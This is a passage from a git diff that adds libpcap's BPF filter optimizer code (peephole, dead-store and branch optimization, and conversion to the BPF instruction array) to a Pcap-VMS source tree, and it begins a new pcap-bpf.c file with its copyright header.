+ if (tax == 0 || tax->s.code != (BPF_MISC|BPF_TAX)) + continue; + + ild = this_op(tax->next); + if (ild == 0 || BPF_CLASS(ild->s.code) != BPF_LD || + BPF_MODE(ild->s.code) != BPF_IND) + continue; + /* + * XXX We need to check that X is not + * subsequently used. We know we can eliminate the + * accumulator modifications since it is defined + * by the last stmt of this sequence. + * + * We want to turn this sequence: + * + * (004) ldi #0x2 {s} + * (005) ldxms [14] {next} -- optional + * (006) addx {add} + * (007) tax {tax} + * (008) ild [x+0] {ild} + * + * into this sequence: + * + * (004) nop + * (005) ldxms [14] + * (006) nop + * (007) nop + * (008) ild [x+2] + * + */ + ild->s.k += s->s.k; + s->s.code = NOP; + add->s.code = NOP; + tax->s.code = NOP; + done = 0; + } + } + /* + * If we have a subtract to do a comparison, and the X register + * is a known constant, we can merge this value into the + * comparison. + */ + if (BPF_OP(b->s.code) == BPF_JEQ) { + if (last->s.code == (BPF_ALU|BPF_SUB|BPF_X) && + !ATOMELEM(b->out_use, A_ATOM)) { + val = b->val[X_ATOM]; + if (vmap[val].is_const) { + /* + * sub x -> nop + * jeq #y jeq #(x+y) + */ + b->s.k += vmap[val].const_val; + last->s.code = NOP; + done = 0; + } else if (b->s.k == 0) { + /* + * sub #x -> nop + * jeq #0 jeq #x + */ + last->s.code = NOP; + b->s.code = BPF_CLASS(b->s.code) | + BPF_OP(b->s.code) | BPF_X; + done = 0; + } + } + /* + * Likewise, a constant subtract can be simplified. + */ + else if (last->s.code == (BPF_ALU|BPF_SUB|BPF_K) && + !ATOMELEM(b->out_use, A_ATOM)) { + + last->s.code = NOP; + b->s.k += last->s.k; + done = 0; + } + } + /* + * and #k nop + * jeq #0 -> jset #k + */ + if (last->s.code == (BPF_ALU|BPF_AND|BPF_K) && + !ATOMELEM(b->out_use, A_ATOM) && b->s.k == 0) { + b->s.k = last->s.k; + b->s.code = BPF_JMP|BPF_K|BPF_JSET; + last->s.code = NOP; + done = 0; + opt_not(b); + } + /* + * jset #0 -> never + * jset #ffffffff -> always + */ + if (b->s.code == (BPF_JMP|BPF_K|BPF_JSET)) { + if (b->s.k == 0) + JT(b) = JF(b); + if (b->s.k == 0xffffffff) + JF(b) = JT(b); + } + /* + * If the accumulator is a known constant, we can compute the + * comparison result. + */ + val = b->val[A_ATOM]; + if (vmap[val].is_const && BPF_SRC(b->s.code) == BPF_K) { + bpf_int32 v = vmap[val].const_val; + switch (BPF_OP(b->s.code)) { + + case BPF_JEQ: + v = v == b->s.k; + break; + + case BPF_JGT: + v = (unsigned)v > b->s.k; + break; + + case BPF_JGE: + v = (unsigned)v >= b->s.k; + break; + + case BPF_JSET: + v &= b->s.k; + break; + + default: + abort(); + } + if (JF(b) != JT(b)) + done = 0; + if (v) + JF(b) = JT(b); + else + JT(b) = JF(b); + } +} + +/* + * Compute the symbolic value of expression of 's', and update + * anything it defines in the value table 'val'. If 'alter' is true, + * do various optimizations. This code would be cleaner if symbolic + * evaluation and code transformations weren't folded together. + */ +static void +opt_stmt(s, val, alter) + struct stmt *s; + int val[]; + int alter; +{ + int op; + int v; + + switch (s->code) { + + case BPF_LD|BPF_ABS|BPF_W: + case BPF_LD|BPF_ABS|BPF_H: + case BPF_LD|BPF_ABS|BPF_B: + v = F(s->code, s->k, 0L); + vstore(s, &val[A_ATOM], v, alter); + break; + + case BPF_LD|BPF_IND|BPF_W: + case BPF_LD|BPF_IND|BPF_H: + case BPF_LD|BPF_IND|BPF_B: + v = val[X_ATOM]; + if (alter && vmap[v].is_const) { + s->code = BPF_LD|BPF_ABS|BPF_SIZE(s->code); + s->k += vmap[v].const_val; + v = F(s->code, s->k, 0L); + done = 0; + } + else + v = F(s->code, s->k, v); + vstore(s, &val[A_ATOM], v, alter); + break; + + case BPF_LD|BPF_LEN: + v = F(s->code, 0L, 0L); + vstore(s, &val[A_ATOM], v, alter); + break; + + case BPF_LD|BPF_IMM: + v = K(s->k); + vstore(s, &val[A_ATOM], v, alter); + break; + + case BPF_LDX|BPF_IMM: + v = K(s->k); + vstore(s, &val[X_ATOM], v, alter); + break; + + case BPF_LDX|BPF_MSH|BPF_B: + v = F(s->code, s->k, 0L); + vstore(s, &val[X_ATOM], v, alter); + break; + + case BPF_ALU|BPF_NEG: + if (alter && vmap[val[A_ATOM]].is_const) { + s->code = BPF_LD|BPF_IMM; + s->k = -vmap[val[A_ATOM]].const_val; + val[A_ATOM] = K(s->k); + } + else + val[A_ATOM] = F(s->code, val[A_ATOM], 0L); + break; + + case BPF_ALU|BPF_ADD|BPF_K: + case BPF_ALU|BPF_SUB|BPF_K: + case BPF_ALU|BPF_MUL|BPF_K: + case BPF_ALU|BPF_DIV|BPF_K: + case BPF_ALU|BPF_AND|BPF_K: + case BPF_ALU|BPF_OR|BPF_K: + case BPF_ALU|BPF_LSH|BPF_K: + case BPF_ALU|BPF_RSH|BPF_K: + op = BPF_OP(s->code); + if (alter) { + if (s->k == 0) { + /* don't optimize away "sub #0" + * as it may be needed later to + * fixup the generated math code */ + if (op == BPF_ADD || + op == BPF_LSH || op == BPF_RSH || + op == BPF_OR) { + s->code = NOP; + break; + } + if (op == BPF_MUL || op == BPF_AND) { + s->code = BPF_LD|BPF_IMM; + val[A_ATOM] = K(s->k); + break; + } + } + if (vmap[val[A_ATOM]].is_const) { + fold_op(s, val[A_ATOM], K(s->k)); + val[A_ATOM] = K(s->k); + break; + } + } + val[A_ATOM] = F(s->code, val[A_ATOM], K(s->k)); + break; + + case BPF_ALU|BPF_ADD|BPF_X: + case BPF_ALU|BPF_SUB|BPF_X: + case BPF_ALU|BPF_MUL|BPF_X: + case BPF_ALU|BPF_DIV|BPF_X: + case BPF_ALU|BPF_AND|BPF_X: + case BPF_ALU|BPF_OR|BPF_X: + case BPF_ALU|BPF_LSH|BPF_X: + case BPF_ALU|BPF_RSH|BPF_X: + op = BPF_OP(s->code); + if (alter && vmap[val[X_ATOM]].is_const) { + if (vmap[val[A_ATOM]].is_const) { + fold_op(s, val[A_ATOM], val[X_ATOM]); + val[A_ATOM] = K(s->k); + } + else { + s->code = BPF_ALU|BPF_K|op; + s->k = vmap[val[X_ATOM]].const_val; + done = 0; + val[A_ATOM] = + F(s->code, val[A_ATOM], K(s->k)); + } + break; + } + /* + * Check if we're doing something to an accumulator + * that is 0, and simplify. This may not seem like + * much of a simplification but it could open up further + * optimizations. + * XXX We could also check for mul by 1, etc. + */ + if (alter && vmap[val[A_ATOM]].is_const + && vmap[val[A_ATOM]].const_val == 0) { + if (op == BPF_ADD || op == BPF_OR) { + s->code = BPF_MISC|BPF_TXA; + vstore(s, &val[A_ATOM], val[X_ATOM], alter); + break; + } + else if (op == BPF_MUL || op == BPF_DIV || + op == BPF_AND || op == BPF_LSH || op == BPF_RSH) { + s->code = BPF_LD|BPF_IMM; + s->k = 0; + vstore(s, &val[A_ATOM], K(s->k), alter); + break; + } + else if (op == BPF_NEG) { + s->code = NOP; + break; + } + } + val[A_ATOM] = F(s->code, val[A_ATOM], val[X_ATOM]); + break; + + case BPF_MISC|BPF_TXA: + vstore(s, &val[A_ATOM], val[X_ATOM], alter); + break; + + case BPF_LD|BPF_MEM: + v = val[s->k]; + if (alter && vmap[v].is_const) { + s->code = BPF_LD|BPF_IMM; + s->k = vmap[v].const_val; + done = 0; + } + vstore(s, &val[A_ATOM], v, alter); + break; + + case BPF_MISC|BPF_TAX: + vstore(s, &val[X_ATOM], val[A_ATOM], alter); + break; + + case BPF_LDX|BPF_MEM: + v = val[s->k]; + if (alter && vmap[v].is_const) { + s->code = BPF_LDX|BPF_IMM; + s->k = vmap[v].const_val; + done = 0; + } + vstore(s, &val[X_ATOM], v, alter); + break; + + case BPF_ST: + vstore(s, &val[s->k], val[A_ATOM], alter); + break; + + case BPF_STX: + vstore(s, &val[s->k], val[X_ATOM], alter); + break; + } +} + +static void +deadstmt(s, last) + register struct stmt *s; + register struct stmt *last[]; +{ + register int atom; + + atom = atomuse(s); + if (atom >= 0) { + if (atom == AX_ATOM) { + last[X_ATOM] = 0; + last[A_ATOM] = 0; + } + else + last[atom] = 0; + } + atom = atomdef(s); + if (atom >= 0) { + if (last[atom]) { + done = 0; + last[atom]->code = NOP; + } + last[atom] = s; + } +} + +static void +opt_deadstores(b) + register struct block *b; +{ + register struct slist *s; + register int atom; + struct stmt *last[N_ATOMS]; + + memset((char *)last, 0, sizeof last); + + for (s = b->stmts; s != 0; s = s->next) + deadstmt(&s->s, last); + deadstmt(&b->s, last); + + for (atom = 0; atom < N_ATOMS; ++atom) + if (last[atom] && !ATOMELEM(b->out_use, atom)) { + last[atom]->code = NOP; + done = 0; + } +} + +static void +opt_blk(b, do_stmts) + struct block *b; + int do_stmts; +{ + struct slist *s; + struct edge *p; + int i; + bpf_int32 aval; + +#if 0 + for (s = b->stmts; s && s->next; s = s->next) + if (BPF_CLASS(s->s.code) == BPF_JMP) { + do_stmts = 0; + break; + } +#endif + + /* + * Initialize the atom values. + * If we have no predecessors, everything is undefined. + * Otherwise, we inherent our values from our predecessors. + * If any register has an ambiguous value (i.e. control paths are + * merging) give it the undefined value of 0. + */ + p = b->in_edges; + if (p == 0) + memset((char *)b->val, 0, sizeof(b->val)); + else { + memcpy((char *)b->val, (char *)p->pred->val, sizeof(b->val)); + while ((p = p->next) != NULL) { + for (i = 0; i < N_ATOMS; ++i) + if (b->val[i] != p->pred->val[i]) + b->val[i] = 0; + } + } + aval = b->val[A_ATOM]; + for (s = b->stmts; s; s = s->next) + opt_stmt(&s->s, b->val, do_stmts); + + /* + * This is a special case: if we don't use anything from this + * block, and we load the accumulator with value that is + * already there, or if this block is a return, + * eliminate all the statements. + */ + if (do_stmts && + ((b->out_use == 0 && aval != 0 &&b->val[A_ATOM] == aval) || + BPF_CLASS(b->s.code) == BPF_RET)) { + if (b->stmts != 0) { + b->stmts = 0; + done = 0; + } + } else { + opt_peep(b); + opt_deadstores(b); + } + /* + * Set up values for branch optimizer. + */ + if (BPF_SRC(b->s.code) == BPF_K) + b->oval = K(b->s.k); + else + b->oval = b->val[X_ATOM]; + b->et.code = b->s.code; + b->ef.code = -b->s.code; +} + +/* + * Return true if any register that is used on exit from 'succ', has + * an exit value that is different from the corresponding exit value + * from 'b'. + */ +static int +use_conflict(b, succ) + struct block *b, *succ; +{ + int atom; + atomset use = succ->out_use; + + if (use == 0) + return 0; + + for (atom = 0; atom < N_ATOMS; ++atom) + if (ATOMELEM(use, atom)) + if (b->val[atom] != succ->val[atom]) + return 1; + return 0; +} + +static struct block * +fold_edge(child, ep) + struct block *child; + struct edge *ep; +{ + int sense; + int aval0, aval1, oval0, oval1; + int code = ep->code; + + if (code < 0) { + code = -code; + sense = 0; + } else + sense = 1; + + if (child->s.code != code) + return 0; + + aval0 = child->val[A_ATOM]; + oval0 = child->oval; + aval1 = ep->pred->val[A_ATOM]; + oval1 = ep->pred->oval; + + if (aval0 != aval1) + return 0; + + if (oval0 == oval1) + /* + * The operands are identical, so the + * result is true if a true branch was + * taken to get here, otherwise false. + */ + return sense ? JT(child) : JF(child); + + if (sense && code == (BPF_JMP|BPF_JEQ|BPF_K)) + /* + * At this point, we only know the comparison if we + * came down the true branch, and it was an equality + * comparison with a constant. We rely on the fact that + * distinct constants have distinct value numbers. + */ + return JF(child); + + return 0; +} + +static void +opt_j(ep) + struct edge *ep; +{ + register int i, k; + register struct block *target; + + if (JT(ep->succ) == 0) + return; + + if (JT(ep->succ) == JF(ep->succ)) { + /* + * Common branch targets can be eliminated, provided + * there is no data dependency. + */ + if (!use_conflict(ep->pred, ep->succ->et.succ)) { + done = 0; + ep->succ = JT(ep->succ); + } + } + /* + * For each edge dominator that matches the successor of this + * edge, promote the edge successor to the its grandchild. + * + * XXX We violate the set abstraction here in favor a reasonably + * efficient loop. + */ + top: + for (i = 0; i < edgewords; ++i) { + register bpf_u_int32 x = ep->edom[i]; + + while (x != 0) { + k = ffs(x) - 1; + x &=~ (1 << k); + k += i * BITS_PER_WORD; + + target = fold_edge(ep->succ, edges[k]); + /* + * Check that there is no data dependency between + * nodes that will be violated if we move the edge. + */ + if (target != 0 && !use_conflict(ep->pred, target)) { + done = 0; + ep->succ = target; + if (JT(target) != 0) + /* + * Start over unless we hit a leaf. + */ + goto top; + return; + } + } + } +} + + +static void +or_pullup(b) + struct block *b; +{ + int val, at_top; + struct block *pull; + struct block **diffp, **samep; + struct edge *ep; + + ep = b->in_edges; + if (ep == 0) + return; + + /* + * Make sure each predecessor loads the same value. + * XXX why? + */ + val = ep->pred->val[A_ATOM]; + for (ep = ep->next; ep != 0; ep = ep->next) + if (val != ep->pred->val[A_ATOM]) + return; + + if (JT(b->in_edges->pred) == b) + diffp = &JT(b->in_edges->pred); + else + diffp = &JF(b->in_edges->pred); + + at_top = 1; + while (1) { + if (*diffp == 0) + return; + + if (JT(*diffp) != JT(b)) + return; + + if (!SET_MEMBER((*diffp)->dom, b->id)) + return; + + if ((*diffp)->val[A_ATOM] != val) + break; + + diffp = &JF(*diffp); + at_top = 0; + } + samep = &JF(*diffp); + while (1) { + if (*samep == 0) + return; + + if (JT(*samep) != JT(b)) + return; + + if (!SET_MEMBER((*samep)->dom, b->id)) + return; + + if ((*samep)->val[A_ATOM] == val) + break; + + /* XXX Need to check that there are no data dependencies + between dp0 and dp1. Currently, the code generator + will not produce such dependencies. */ + samep = &JF(*samep); + } +#ifdef notdef + /* XXX This doesn't cover everything. */ + for (i = 0; i < N_ATOMS; ++i) + if ((*samep)->val[i] != pred->val[i]) + return; +#endif + /* Pull up the node. */ + pull = *samep; + *samep = JF(pull); + JF(pull) = *diffp; + + /* + * At the top of the chain, each predecessor needs to point at the + * pulled up node. Inside the chain, there is only one predecessor + * to worry about. + */ + if (at_top) { + for (ep = b->in_edges; ep != 0; ep = ep->next) { + if (JT(ep->pred) == b) + JT(ep->pred) = pull; + else + JF(ep->pred) = pull; + } + } + else + *diffp = pull; + + done = 0; +} + +static void +and_pullup(b) + struct block *b; +{ + int val, at_top; + struct block *pull; + struct block **diffp, **samep; + struct edge *ep; + + ep = b->in_edges; + if (ep == 0) + return; + + /* + * Make sure each predecessor loads the same value. + */ + val = ep->pred->val[A_ATOM]; + for (ep = ep->next; ep != 0; ep = ep->next) + if (val != ep->pred->val[A_ATOM]) + return; + + if (JT(b->in_edges->pred) == b) + diffp = &JT(b->in_edges->pred); + else + diffp = &JF(b->in_edges->pred); + + at_top = 1; + while (1) { + if (*diffp == 0) + return; + + if (JF(*diffp) != JF(b)) + return; + + if (!SET_MEMBER((*diffp)->dom, b->id)) + return; + + if ((*diffp)->val[A_ATOM] != val) + break; + + diffp = &JT(*diffp); + at_top = 0; + } + samep = &JT(*diffp); + while (1) { + if (*samep == 0) + return; + + if (JF(*samep) != JF(b)) + return; + + if (!SET_MEMBER((*samep)->dom, b->id)) + return; + + if ((*samep)->val[A_ATOM] == val) + break; + + /* XXX Need to check that there are no data dependencies + between diffp and samep. Currently, the code generator + will not produce such dependencies. */ + samep = &JT(*samep); + } +#ifdef notdef + /* XXX This doesn't cover everything. */ + for (i = 0; i < N_ATOMS; ++i) + if ((*samep)->val[i] != pred->val[i]) + return; +#endif + /* Pull up the node. */ + pull = *samep; + *samep = JT(pull); + JT(pull) = *diffp; + + /* + * At the top of the chain, each predecessor needs to point at the + * pulled up node. Inside the chain, there is only one predecessor + * to worry about. + */ + if (at_top) { + for (ep = b->in_edges; ep != 0; ep = ep->next) { + if (JT(ep->pred) == b) + JT(ep->pred) = pull; + else + JF(ep->pred) = pull; + } + } + else + *diffp = pull; + + done = 0; +} + +static void +opt_blks(root, do_stmts) + struct block *root; + int do_stmts; +{ + int i, maxlevel; + struct block *p; + + init_val(); + maxlevel = root->level; + + find_inedges(root); + for (i = maxlevel; i >= 0; --i) + for (p = levels[i]; p; p = p->link) + opt_blk(p, do_stmts); + + if (do_stmts) + /* + * No point trying to move branches; it can't possibly + * make a difference at this point. + */ + return; + + for (i = 1; i <= maxlevel; ++i) { + for (p = levels[i]; p; p = p->link) { + opt_j(&p->et); + opt_j(&p->ef); + } + } + + find_inedges(root); + for (i = 1; i <= maxlevel; ++i) { + for (p = levels[i]; p; p = p->link) { + or_pullup(p); + and_pullup(p); + } + } +} + +static inline void +link_inedge(parent, child) + struct edge *parent; + struct block *child; +{ + parent->next = child->in_edges; + child->in_edges = parent; +} + +static void +find_inedges(root) + struct block *root; +{ + int i; + struct block *b; + + for (i = 0; i < n_blocks; ++i) + blocks[i]->in_edges = 0; + + /* + * Traverse the graph, adding each edge to the predecessor + * list of its successors. Skip the leaves (i.e. level 0). + */ + for (i = root->level; i > 0; --i) { + for (b = levels[i]; b != 0; b = b->link) { + link_inedge(&b->et, JT(b)); + link_inedge(&b->ef, JF(b)); + } + } +} + +static void +opt_root(b) + struct block **b; +{ + struct slist *tmp, *s; + + s = (*b)->stmts; + (*b)->stmts = 0; + while (BPF_CLASS((*b)->s.code) == BPF_JMP && JT(*b) == JF(*b)) + *b = JT(*b); + + tmp = (*b)->stmts; + if (tmp != 0) + sappend(s, tmp); + (*b)->stmts = s; + + /* + * If the root node is a return, then there is no + * point executing any statements (since the bpf machine + * has no side effects). + */ + if (BPF_CLASS((*b)->s.code) == BPF_RET) + (*b)->stmts = 0; +} + +static void +opt_loop(root, do_stmts) + struct block *root; + int do_stmts; +{ + +#ifdef BDEBUG + if (dflag > 1) { + printf("opt_loop(root, %d) begin\n", do_stmts); + opt_dump(root); + } +#endif + do { + done = 1; + find_levels(root); + find_dom(root); + find_closure(root); + find_ud(root); + find_edom(root); + opt_blks(root, do_stmts); +#ifdef BDEBUG + if (dflag > 1) { + printf("opt_loop(root, %d) bottom, done=%d\n", do_stmts, done); + opt_dump(root); + } +#endif + } while (!done); +} + +/* + * Optimize the filter code in its dag representation. + */ +void +bpf_optimize(rootp) + struct block **rootp; +{ + struct block *root; + + root = *rootp; + + opt_init(root); + opt_loop(root, 0); + opt_loop(root, 1); + intern_blocks(root); +#ifdef BDEBUG + if (dflag > 1) { + printf("after intern_blocks()\n"); + opt_dump(root); + } +#endif + opt_root(rootp); +#ifdef BDEBUG + if (dflag > 1) { + printf("after opt_root()\n"); + opt_dump(root); + } +#endif + opt_cleanup(); +} + +static void +make_marks(p) + struct block *p; +{ + if (!isMarked(p)) { + Mark(p); + if (BPF_CLASS(p->s.code) != BPF_RET) { + make_marks(JT(p)); + make_marks(JF(p)); + } + } +} + +/* + * Mark code array such that isMarked(i) is true + * only for nodes that are alive. + */ +static void +mark_code(p) + struct block *p; +{ + cur_mark += 1; + make_marks(p); +} + +/* + * True iff the two stmt lists load the same value from the packet into + * the accumulator. + */ +static int +eq_slist(x, y) + struct slist *x, *y; +{ + while (1) { + while (x && x->s.code == NOP) + x = x->next; + while (y && y->s.code == NOP) + y = y->next; + if (x == 0) + return y == 0; + if (y == 0) + return x == 0; + if (x->s.code != y->s.code || x->s.k != y->s.k) + return 0; + x = x->next; + y = y->next; + } +} + +static inline int +eq_blk(b0, b1) + struct block *b0, *b1; +{ + if (b0->s.code == b1->s.code && + b0->s.k == b1->s.k && + b0->et.succ == b1->et.succ && + b0->ef.succ == b1->ef.succ) + return eq_slist(b0->stmts, b1->stmts); + return 0; +} + +static void +intern_blocks(root) + struct block *root; +{ + struct block *p; + int i, j; + int done; + top: + done = 1; + for (i = 0; i < n_blocks; ++i) + blocks[i]->link = 0; + + mark_code(root); + + for (i = n_blocks - 1; --i >= 0; ) { + if (!isMarked(blocks[i])) + continue; + for (j = i + 1; j < n_blocks; ++j) { + if (!isMarked(blocks[j])) + continue; + if (eq_blk(blocks[i], blocks[j])) { + blocks[i]->link = blocks[j]->link ? + blocks[j]->link : blocks[j]; + break; + } + } + } + for (i = 0; i < n_blocks; ++i) { + p = blocks[i]; + if (JT(p) == 0) + continue; + if (JT(p)->link) { + done = 0; + JT(p) = JT(p)->link; + } + if (JF(p)->link) { + done = 0; + JF(p) = JF(p)->link; + } + } + if (!done) + goto top; +} + +static void +opt_cleanup() +{ + free((void *)vnode_base); + free((void *)vmap); + free((void *)edges); + free((void *)space); + free((void *)levels); + free((void *)blocks); +} + +/* + * Return the number of stmts in 's'. + */ +static int +slength(s) + struct slist *s; +{ + int n = 0; + + for (; s; s = s->next) + if (s->s.code != NOP) + ++n; + return n; +} + +/* + * Return the number of nodes reachable by 'p'. + * All nodes should be initially unmarked. + */ +static int +count_blocks(p) + struct block *p; +{ + if (p == 0 || isMarked(p)) + return 0; + Mark(p); + return count_blocks(JT(p)) + count_blocks(JF(p)) + 1; +} + +/* + * Do a depth first search on the flow graph, numbering the + * the basic blocks, and entering them into the 'blocks' array.` + */ +static void +number_blks_r(p) + struct block *p; +{ + int n; + + if (p == 0 || isMarked(p)) + return; + + Mark(p); + n = n_blocks++; + p->id = n; + blocks[n] = p; + + number_blks_r(JT(p)); + number_blks_r(JF(p)); +} + +/* + * Return the number of stmts in the flowgraph reachable by 'p'. + * The nodes should be unmarked before calling. + * + * Note that "stmts" means "instructions", and that this includes + * + * side-effect statements in 'p' (slength(p->stmts)); + * + * statements in the true branch from 'p' (count_stmts(JT(p))); + * + * statements in the false branch from 'p' (count_stmts(JF(p))); + * + * the conditional jump itself (1); + * + * an extra long jump if the true branch requires it (p->longjt); + * + * an extra long jump if the false branch requires it (p->longjf). + */ +static int +count_stmts(p) + struct block *p; +{ + int n; + + if (p == 0 || isMarked(p)) + return 0; + Mark(p); + n = count_stmts(JT(p)) + count_stmts(JF(p)); + return slength(p->stmts) + n + 1 + p->longjt + p->longjf; +} + +/* + * Allocate memory. All allocation is done before optimization + * is begun. A linear bound on the size of all data structures is computed + * from the total number of blocks and/or statements. + */ +static void +opt_init(root) + struct block *root; +{ + bpf_u_int32 *p; + int i, n, max_stmts; + + /* + * First, count the blocks, so we can malloc an array to map + * block number to block. Then, put the blocks into the array. + */ + unMarkAll(); + n = count_blocks(root); + blocks = (struct block **)malloc(n * sizeof(*blocks)); + unMarkAll(); + n_blocks = 0; + number_blks_r(root); + + n_edges = 2 * n_blocks; + edges = (struct edge **)malloc(n_edges * sizeof(*edges)); + + /* + * The number of levels is bounded by the number of nodes. + */ + levels = (struct block **)malloc(n_blocks * sizeof(*levels)); + + edgewords = n_edges / (8 * sizeof(bpf_u_int32)) + 1; + nodewords = n_blocks / (8 * sizeof(bpf_u_int32)) + 1; + + /* XXX */ + space = (bpf_u_int32 *)malloc(2 * n_blocks * nodewords * sizeof(*space) + + n_edges * edgewords * sizeof(*space)); + p = space; + all_dom_sets = p; + for (i = 0; i < n; ++i) { + blocks[i]->dom = p; + p += nodewords; + } + all_closure_sets = p; + for (i = 0; i < n; ++i) { + blocks[i]->closure = p; + p += nodewords; + } + all_edge_sets = p; + for (i = 0; i < n; ++i) { + register struct block *b = blocks[i]; + + b->et.edom = p; + p += edgewords; + b->ef.edom = p; + p += edgewords; + b->et.id = i; + edges[i] = &b->et; + b->ef.id = n_blocks + i; + edges[n_blocks + i] = &b->ef; + b->et.pred = b; + b->ef.pred = b; + } + max_stmts = 0; + for (i = 0; i < n; ++i) + max_stmts += slength(blocks[i]->stmts) + 1; + /* + * We allocate at most 3 value numbers per statement, + * so this is an upper bound on the number of valnodes + * we'll need. + */ + maxval = 3 * max_stmts; + vmap = (struct vmapinfo *)malloc(maxval * sizeof(*vmap)); + vnode_base = (struct valnode *)malloc(maxval * sizeof(*vnode_base)); +} + +/* + * Some pointers used to convert the basic block form of the code, + * into the array form that BPF requires. 'fstart' will point to + * the malloc'd array while 'ftail' is used during the recursive traversal. + */ +static struct bpf_insn *fstart; +static struct bpf_insn *ftail; + +#ifdef BDEBUG +int bids[1000]; +#endif + +/* + * Returns true if successful. Returns false if a branch has + * an offset that is too large. If so, we have marked that + * branch so that on a subsequent iteration, it will be treated + * properly. + */ +static int +convert_code_r(p) + struct block *p; +{ + struct bpf_insn *dst; + struct slist *src; + int slen; + u_int off; + int extrajmps; /* number of extra jumps inserted */ + struct slist **offset = NULL; + + if (p == 0 || isMarked(p)) + return (1); + Mark(p); + + if (convert_code_r(JF(p)) == 0) + return (0); + if (convert_code_r(JT(p)) == 0) + return (0); + + slen = slength(p->stmts); + dst = ftail -= (slen + 1 + p->longjt + p->longjf); + /* inflate length by any extra jumps */ + + p->offset = dst - fstart; + + /* generate offset[] for convenience */ + if (slen) { + offset = (struct slist **)calloc(slen, sizeof(struct slist *)); + if (!offset) { + bpf_error("not enough core"); + /*NOTREACHED*/ + } + } + src = p->stmts; + for (off = 0; off < slen && src; off++) { +#if 0 + printf("off=%d src=%x\n", off, src); +#endif + offset[off] = src; + src = src->next; + } + + off = 0; + for (src = p->stmts; src; src = src->next) { + if (src->s.code == NOP) + continue; + dst->code = (u_short)src->s.code; + dst->k = src->s.k; + + /* fill block-local relative jump */ + if (BPF_CLASS(src->s.code) != BPF_JMP || src->s.code == (BPF_JMP|BPF_JA)) { +#if 0 + if (src->s.jt || src->s.jf) { + bpf_error("illegal jmp destination"); + /*NOTREACHED*/ + } +#endif + goto filled; + } + if (off == slen - 2) /*???*/ + goto filled; + + { + int i; + int jt, jf; + char *ljerr = "%s for block-local relative jump: off=%d"; + +#if 0 + printf("code=%x off=%d %x %x\n", src->s.code, + off, src->s.jt, src->s.jf); +#endif + + if (!src->s.jt || !src->s.jf) { + bpf_error(ljerr, "no jmp destination", off); + /*NOTREACHED*/ + } + + jt = jf = 0; + for (i = 0; i < slen; i++) { + if (offset[i] == src->s.jt) { + if (jt) { + bpf_error(ljerr, "multiple matches", off); + /*NOTREACHED*/ + } + + dst->jt = i - off - 1; + jt++; + } + if (offset[i] == src->s.jf) { + if (jf) { + bpf_error(ljerr, "multiple matches", off); + /*NOTREACHED*/ + } + dst->jf = i - off - 1; + jf++; + } + } + if (!jt || !jf) { + bpf_error(ljerr, "no destination found", off); + /*NOTREACHED*/ + } + } +filled: + ++dst; + ++off; + } + if (offset) + free(offset); + +#ifdef BDEBUG + bids[dst - fstart] = p->id + 1; +#endif + dst->code = (u_short)p->s.code; + dst->k = p->s.k; + if (JT(p)) { + extrajmps = 0; + off = JT(p)->offset - (p->offset + slen) - 1; + if (off >= 256) { + /* offset too large for branch, must add a jump */ + if (p->longjt == 0) { + /* mark this instruction and retry */ + p->longjt++; + return(0); + } + /* branch if T to following jump */ + dst->jt = extrajmps; + extrajmps++; + dst[extrajmps].code = BPF_JMP|BPF_JA; + dst[extrajmps].k = off - extrajmps; + } + else + dst->jt = off; + off = JF(p)->offset - (p->offset + slen) - 1; + if (off >= 256) { + /* offset too large for branch, must add a jump */ + if (p->longjf == 0) { + /* mark this instruction and retry */ + p->longjf++; + return(0); + } + /* branch if F to following jump */ + /* if two jumps are inserted, F goes to second one */ + dst->jf = extrajmps; + extrajmps++; + dst[extrajmps].code = BPF_JMP|BPF_JA; + dst[extrajmps].k = off - extrajmps; + } + else + dst->jf = off; + } + return (1); +} + + +/* + * Convert flowgraph intermediate representation to the + * BPF array representation. Set *lenp to the number of instructions. + */ +struct bpf_insn * +icode_to_fcode(root, lenp) + struct block *root; + int *lenp; +{ + int n; + struct bpf_insn *fp; + + /* + * Loop doing convert_code_r() until no branches remain + * with too-large offsets. + */ + while (1) { + unMarkAll(); + n = *lenp = count_stmts(root); + + fp = (struct bpf_insn *)malloc(sizeof(*fp) * n); + memset((char *)fp, 0, sizeof(*fp) * n); + fstart = fp; + ftail = fp + n; + + unMarkAll(); + if (convert_code_r(root)) + break; + free(fp); + } + + return fp; +} + +/* + * Make a copy of a BPF program and put it in the "fcode" member of + * a "pcap_t". + * + * If we fail to allocate memory for the copy, fill in the "errbuf" + * member of the "pcap_t" with an error message, and return -1; + * otherwise, return 0. + */ +int +install_bpf_program(pcap_t *p, struct bpf_program *fp) +{ + size_t prog_size; + + /* + * Free up any already installed program. + */ + pcap_freecode(&p->fcode); + + prog_size = sizeof(*fp->bf_insns) * fp->bf_len; + p->fcode.bf_len = fp->bf_len; + p->fcode.bf_insns = (struct bpf_insn *)malloc(prog_size); + if (p->fcode.bf_insns == NULL) { + snprintf(p->errbuf, sizeof(p->errbuf), + "malloc: %s", pcap_strerror(errno)); + return (-1); + } + memcpy(p->fcode.bf_insns, fp->bf_insns, prog_size); + return (0); +} + +#ifdef BDEBUG +static void +opt_dump(root) + struct block *root; +{ + struct bpf_program f; + + memset(bids, 0, sizeof bids); + f.bf_insns = icode_to_fcode(root, &f.bf_len); + bpf_dump(&f, 1); + putchar('\n'); + free((char *)f.bf_insns); +} +#endif diff --git a/Pcap-VMS/pcap-vci/pcap-bpf.c b/Pcap-VMS/pcap-vci/pcap-bpf.c new file mode 100644 index 00000000..37e18e52 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-bpf.c @@ -0,0 +1,479 @@ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-bpf.c,v 1.53 2002/10/08 07:18:08 guy Exp $ (LBL)"; 